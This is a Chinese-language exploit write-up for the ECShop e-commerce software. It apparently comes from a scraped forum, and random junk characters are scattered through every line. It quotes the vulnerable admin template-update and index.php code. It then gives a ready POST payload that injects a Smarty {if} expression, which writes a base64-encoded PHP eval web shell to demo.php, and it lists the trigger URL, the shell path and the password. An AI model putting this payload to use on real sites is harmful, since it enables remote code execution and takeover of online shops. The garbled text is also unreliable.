首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板% r( a Q% s, a! Z j0 Q
" t$ l" h4 I4 @: m, G+ @而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
) M% ^* |# C! R但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* l" A& d0 F+ J& {
admin/template.php' I3 f8 z R9 m1 k' p' ?; }
# B: V! c$ h( T% Y- J; I' P
1 if ($_REQUEST['act'] == 'update_library') g- }6 F: X+ }! n' x$ W( `; P
1 f( n+ e) B" i4 O- d, P/ [; g! G
2 4 L5 D1 P$ R+ l8 ^2 I' y
; m, D+ [% t) b+ [3 { 0 n1 N( ]4 P' q
) n1 l; ^# a/ n& b/ ?4 ?3 u
4 check_authz_json('library_manage');
3 v2 Z6 p, t1 V; ~& `. ^% m
1 i7 T# Y- U1 C; T* T5 3 q7 w2 Q0 h* a
$ d6 o; u; z, m. ^ \4 n" H% O6 $html = stripslashes(json_str_iconv($_POST['html'])); w1 ]. _% d3 [$ V
5 _, r1 w: }& t/ [( r# ~# p, y7 5 X- m4 H2 |; U" i$ L
8 y3 D8 G- R* m. E7 ]8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
( U2 C' H, r0 T W1 ]0 \ Q, J8 C8 T" T" D4 C0 g
9 1 m" ^; h3 n) Y5 q
! a( m# t7 B; u0 d
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
b( r/ E0 X; x* ~/ a/ p, |& m. ^- y
11 . i- {% z1 [: t
* o3 x% q( S7 I8 l# J" ?5 t
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
5 d$ _- t! Z/ ~+ N+ F* l& ?0 D1 T2 { w
13
4 b. m' f, N( H& e
# g6 [; N# \; j ]14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 : A8 T5 t3 M0 Y! t
* f$ J3 k( r! k* V+ X5 Z, T
15 {
2 O' y. L% M' \8 R( i6 v2 p5 e
1 X. k, s$ l$ f/ B# h16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ) l4 V: K0 i+ ^8 _
; ?! Y$ N6 u+ B2 G2 g17 make_json_result('', $_LANG['update_lib_success']);
7 |( u0 ?- {: E, [# I: ]7 s% K" r$ m3 Y
18 } * D) d1 l* ~1 q( L `, k
: s1 L% W( L+ ^; _8 ?% ]19 else
- ^8 y1 }& z F; d L9 z% V! z2 C/ x. K0 r
20 {
" |: W4 {' @5 p6 ^) X6 x" N; I7 M
( v0 y1 A# D; E$ ]21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 1 |) t% h- l3 Y V s+ K `3 T+ z! {
* D) x, G; \( q. P22 }
- ]) t$ }0 |3 B0 B' Y% y/ N
; F: j; S. j v: M: p! V23 }
4 Q+ X4 @: N8 M- s
. Q) S$ q) C: j5 e9 k/ y Q那么找个比较方便调用了模板的文件
$ \% u' H1 w$ g6 vindex.php
- E7 W/ v5 ]1 x; @
3 r2 [7 Q. U2 v6 M( O# Y( U1 if ($act == 'cat_rec')
1 \$ V1 ~" y; u: c$ p7 R b7 y, p4 }
2
$ }( M4 T+ g+ q1 X5 P0 b$ B( M* Q4 K* T& C$ |
3 {
" ^, \+ D- ^8 y$ U6 r# V$ g4 n
: ^" s- R& B2 z B+ h! X1 O4 3 f1 q! x1 U- s5 ]- o. C4 y
, a: T! |5 `; M" }$ l
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 0 ~4 ^1 w, D3 m& C# w
. ~: J! \) h; ~7 u4 S) g6
7 d [0 M5 q- R2 [: j- {9 h4 R: T3 V2 ~9 o
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; # O# V4 w: t. s1 I6 E
* k4 ?7 e! e$ P u I
8
5 A. O; h5 i$ c+ G2 a8 ~ Z9 ~0 o: t2 Y$ O% j0 s$ c) v1 e. A
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 4 G) [ e. ~& E$ ?
# F' O3 `: Q0 i2 `# H10 ( p' Q K. [* ]! `$ U- j0 G
9 l6 A+ J5 r5 P
11 include_once('includes/cls_json.php'); + ~( L# f. }. q" W' K) r
4 Z$ c$ t6 b/ c" S5 _5 [; c) W
12
9 }( P: K. z7 n0 p: G/ W% f
9 M* V" @+ m% D! a& @' n V: h13 $json = new JSON; ; m! d8 A! K, z% b6 I
, V6 a/ ~( c/ E
14 / h; S% {6 m( |
8 X0 k0 ?% R& n! t F* i15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 4 q8 g, _" k% u5 l. _3 d
' _$ _# i, r3 f7 ]+ u2 g5 m/ |: F16 6 k% g1 _: \, d# z: B @
4 p* l1 k! E6 H% o( |! [# l17 $children = get_children($cat_id);
8 h9 Q- g. t9 S
$ ^. U# i) {. l7 Q. r18
9 k6 n% b; m+ M; ~+ q4 V
9 H2 F# [; D1 W, J+ C' `. j* i19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 $ i& F6 ^5 f# i" c. l- D! [9 y( M
8 e# r' R+ Z) {; O) @) r! K) j4 N20 : T# Q4 X: q- }; r, j9 A5 A0 {+ v
' h$ B) P$ p# `! ~- e9 x21 $smarty->assign('cat_rec_sign', 1); $ D* S6 e; k- n# L+ w
; j! m4 O- _+ D- V. ]22
0 p6 U1 R! Z. r; i$ D: q7 A2 M# U6 U- s8 Z
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 9 X4 }1 y" k/ E$ r& b0 o
" c) V% T$ ?: z9 I5 }' `
24
1 [7 f9 x, W% _- W; [6 B
8 `* P0 D( \# r9 t25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
8 Q$ B6 d) Q) E" c0 C& F: Q* L# R8 b/ P v
26 Q# ~0 s$ u! T1 z. X/ u
$ J; D5 O& @: ]% o, E7 ?
27 echo $rec_array[$rec_type];
4 ^7 F; A1 d% t- t5 |
. k# Z8 c; G, f h6 _28 - A9 W C" W& E' K
; c1 T( a% K, E8 R9 X( c+ y7 D# a4 v29 die($json->encode($result)); : B# Y# b- Z% [" w h' D# X! Y& D
- W& E. q) i+ T) _9 d30 3 [- u7 @" t9 N7 m: Y& [
) ~; n& E& H; {, F! p+ q/ V31 }
4 J# R1 p& W# ^' U) E' B5 b
2 V- g* I0 `; s6 [那么就有利用方法了4 N- i, L3 d8 P8 M
post包到http://localhost/ec/admin/template.php?act=update_library5 {8 Z j2 B; n- o
Post内容:+ u9 f5 Q$ |3 \3 _- B8 t# m
$ u `( N* z+ I \) K
4 x1 [* D* K' C/ b- O E1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
6 ]6 t" B6 {& R/ O& q& x4 g, H$ D3 j- |$ \+ B2 s
然后访问http://localhost/ec/index.php?act=cat_rec
U$ E. L. H& o5 U$ m$ }1 M5 @" ?: V% _
shel地址:http://localhost/ec/demo.php
1 O, A4 _8 _7 f1 i0 W密码c
* a& R6 e1 p2 i4 y/ j( c! H0 g4 J7 m- r; l% h D/ o
|